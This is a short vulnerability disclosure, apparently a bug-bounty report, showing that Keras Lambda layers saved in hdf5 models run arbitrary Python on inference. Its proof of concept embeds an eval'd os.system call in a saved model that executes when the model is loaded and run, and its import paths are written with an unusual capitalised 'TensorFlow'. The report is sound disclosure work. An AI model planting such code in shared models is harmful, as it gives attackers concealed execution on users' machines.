Arbitrary Code Execution on Inference Through Keras Lambda Layers in hdf5

Valid

Reported on Feb 4th 2025

TensorFlow neural network models can be saved with Keras lambda layers that allow users to perform calculations and custom logic using custom python code. However, any arbitrary code is allowed to be saved to these layers and so malicious code can be saved to a model that will execute on a victim’s machine when the model is used for inference.

POC

Google Colab

First create a simple TensorFlow model that has a keras Lambda layer where the function uses some sort of malicious python code, in this example it calls eval to execute a system call to create /tmp/poc :

from TensorFlow.keras.models import Sequential
from TensorFlow.keras.layers import Lambda, Dense
import TensorFlow as tf

model = Sequential([\
    Lambda(lambda x: eval("__import__('os').system('touch /tmp/poc')" or x)),\
])

model.save("lambda_model.h5")

Now that the model is saved to lambda_model.h5 we can simulate the victim behavior of loading and running the model:

from TensorFlow.keras.models import load_model

model = load_model("lambda_model.h5")

input_data = tf.constant([[1.0]])
output = model(input_data)

The victim will now have /tmp/poc on their machine.

Impact

Attackers can create a TensorFlow model that when run by a victim will perform any malicious action the attacker defines such as creating a reverse shell. The malicious code is also executed during inference so it can easily be concealed in a model that, to the victim, would seem like it runs normally as any non-malicious model would.